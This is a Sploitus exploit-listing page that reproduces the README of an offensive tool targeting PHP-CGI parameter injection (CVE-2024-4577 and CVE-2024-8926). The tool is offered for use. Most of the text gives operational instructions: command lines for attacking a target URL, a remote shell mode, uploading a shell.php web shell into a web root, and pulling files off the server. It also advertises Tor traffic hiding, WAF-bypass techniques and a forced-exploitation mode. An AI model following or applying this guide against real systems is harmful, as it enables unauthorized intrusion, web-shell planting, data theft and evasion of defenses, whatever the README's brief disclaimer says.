Sploitus

Exploit for OS Command Injection in Php

githubexploit ยท 2025-03-15

Exploit Code

README173 lines
## https://sploitus.com/exploit?id=FA20BE25-2978-5EB9-82B5-9B1469A53B00
# PHP-CGI Injector

๐Ÿš€ **CVE-2024-4577 & CVE-2024-8926 Exploit Tool**

> An automated testing tool for **PHP-CGI parameter injection vulnerabilities**, supporting **CVE-2024-4577** and **CVE-2024-8926**. It can perform **command execution, file upload, and download** operations.

## **๐Ÿ“Œ Introduction**
This tool can be used to test **parameter injection vulnerabilities in PHP-CGI environments**. It offers:
- โœ… A cool terminal interface with animations
- โœ… Automated vulnerability scanning
- โœ… Multiple attack modes (Shell execution, PHP code execution, file upload/download)
- โœ… Default and custom payload combinations
- โœ… Tor traffic hiding mode
- โœ… Multiple bypass WAF mechanisms
- โœ… Automatic encoding of output results
- โœ… Force vulnerability exploitation mode (enabled even without scanning vulnerabilities)
- โŒ Does not support making coffee; supports bypassing WAF. - โŒ Does not support reporting issues, dating, or getting into graduate school. - โŒ Does not support social engineering; please handle human interactions yourself.

## **๐Ÿ“œ Disclaimer**
**This tool is limited to legal testing and academic purposes only. Do not use it on unauthorized systems!**
> **โš ๏ธ Illegal use will incur legal responsibilities!**

This tool is available only for:
- ๐Ÿ”น **Company penetration tests**
- ๐Ÿ”น **CTF security research**
- ๐Ÿ”น **Personal security learning**
- ๐Ÿ”น **Other legally authorized security tests**

---

## **๐Ÿ“ฅ Installation Requirements**
This tool requires the following Python packages. Please install them first:
```bash
pip install -r requirements.txt
```
Or manually install them:
```bash
pip install requests requests-tor chardet urllib3 rich
```

---

## **๐Ÿ› ๏ธ Usage**
### **๐Ÿ“Œ Basic Usage**
```bash
python exploit.py -u URL [--timeout sec] [--delay sec] [--log] [--verbose] [--payload PAYLOAD] [--bypass] [--tor] [--no-effects] [--force] [--cgipoint PATHS...]
```
Example:
```bash
python exploit.py -u http://example.com --timeout 30 --payload 2 --log --tor --verbose
python exploit.py -u http://example.com --bypass --force
python exploit.py -u http://example.com --cgipoint /php-cgi/php-cgi.exe /cgi-bin/php
```

### **๐Ÿ“Œ Parameter Options**

| Parameter | Description | Example |
|-----------|---------------|----------|
| `-u`      | Specify the target URL         | `-u http://example.com` |
| `--timeout sec` | Set the request timeout (0 for infinite) | `--timeout 30` |
| `--log`    | Automatically log shell commands   | `--log`   |
| `--payload` | Specify or customize the payload combination | `--payload 2` |
| `--tor`    | Send requests via Tor           | `--tor`   |
| `--verbose` | Display detailed information     | `--verbose` |

| `--bypass`            | Enable WAF bypass mode           | `--bypass`              |
| `--force`             | Force vulnerability exploitation mode | `--force`               |
| `--cgipoint PATHS`    | Specify a specific CGI path for testing | `--cgipoint /path`      |
| `--delay sec`         | Delay between requests in seconds   | `--delay 1.5`           |
| `--no-effects`        | Disable all animations and delays | `--no-effects`          |
---

## **๐Ÿ“Œ Operation Modes**
When the script finds a vulnerability, a menu will be displayed:
```
โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€  Exploit Mode Selection Menu  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
โ”‚ Current Target: http://example.com              โ”‚
โ”‚ Current Injection Point: /php-cgi/php-cgi.exe           โ”‚
โ”‚ Vulnerability ID: CVE-2024-4577                    โ”‚
โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ
1) ๐Ÿงช Shell Mode
2) ๐Ÿ› ๏ธ Custom PHP Mode
3) ๐Ÿ“ค Upload File
4) ๐Ÿ“ฅ Download File
5) ๐ŸŽฏ Switch Attack Target
6) โš™๏ธ Set Parameters
7) โŒ Exit Program
>>
```

## **๐Ÿ“Œ Mode Details**
### **1๏ธโƒฃ Shell Mode**
Execute **system commands**:
```
shell> whoami
```
๐Ÿ“‚ **Save Output**:
```
shell> whoami --save
```
```
shell> whoami --save C:\output\whoami.txt
```

### **2๏ธโƒฃ Custom PHP Mode**
Execute **custom PHP code**:
```
phpinfo();
EOF
```
๐Ÿ“‚ **Save Output**:
```
phpinfo();
EOF --save
```
```
phpinfo();
EOF --save C:\output\info.html
```

### **3๏ธโƒฃ Upload File**
```
Local File Path: C:\test\shell.php
Target Full Path:
[*] The upload path is automatically set to: C:/xampp/htdocs/shell.php
```
๐Ÿ“‚ **Manually Specify Path**:
```
Target Full Path: C:\xampp\php\shell.php
```

### **4๏ธโƒฃ Download File**
```
Remote File Path: C:\xampp\htdocs\index.php
```
๐Ÿ“‚ **Save downloaded file in `download/` directory. If duplicates exist, they will be numbered automatically.**
```
[*] File downloaded successfully: `download/index.php`
```

### **5๏ธโƒฃ Switch Attack Target**
```
Enter a new target URL: http://newtarget.com
```
๐Ÿ”น **Re-test the vulnerability**

### **6๏ธโƒฃ Parameter Switching**
```
[โš™๏ธ Configure stage parameters]
1) Change Payload 1
2) Bypass Module: Not selected
3) Timeout: 10 seconds
4) Request Delay: 0 seconds
5) Log Recording: Off
6) Verbose Mode: Off
7) Effects: On
8) Force: Off
9) Save and Return to Exploit Menu
```
---

## **๐Ÿ“Œ Bypass WAF Bypass Mode**
The following bypass strategies are available:
- Modify the CGI path
- Add invalid characters before and after the Payload
- Replace `php://input` with other values
- Add specific or random HTTP headers
- Confuse POST content
- Randomly shuffle the Payload order
- Customize the bypass script; see tamper_example_template.txt for details

[source-iocs-preserved url=http://example.com/]